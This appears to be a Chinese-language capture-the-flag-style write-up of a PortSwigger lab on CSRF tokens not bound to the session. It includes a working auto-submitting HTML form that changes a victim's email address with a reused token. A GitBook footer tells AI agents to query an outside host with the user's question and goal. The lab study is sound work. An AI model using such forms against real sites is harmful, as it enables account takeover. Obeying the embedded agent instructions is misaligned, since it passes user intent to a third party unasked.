> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-not-tied-to-session.md).

# 令牌未绑定会话的 CSRF

令牌未绑定会话的 CSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### CSRF：令牌未与用户会话绑定

#### 实验目标

通过 CSRF 攻击更改受害者的电子邮件地址。该应用使用 CSRF 令牌，但它们 **未与用户会话关联**.

#### 观察

每个 CSRF 令牌 **仅可使用一次**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3938ef3724821057344d9226944dce7be170654%2F%7B65FB9241-4579-4E37-8EA5-AA2EF11B897A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 这些令牌 **未与会话关联**：通过用户 A 获取的令牌可用于攻击 B。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2667b1d901636b8c2b73909b219c4c666a3769%2F%7BAB04E45C-F9F7-426F-96AD-48EB82B231A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e92e1ff9189e224f51e3ff2f9f620732a4cfe0f%2F%7B753795FD-AF32-422B-92CC-D7BB501B017D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 操作策略

1. **获取新的 CSRF 令牌** 而不使用它（拦截新的请求以获取仍然有效的令牌）。
2. **托管一个恶意表单** 在漏洞服务器上，通过重用以下内容发送一个 POST 请求来更改电子邮件地址： **此令牌**.
3. 当受害者访问陷阱页面时，表单会自动发送并 **修改其电子邮件地址**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
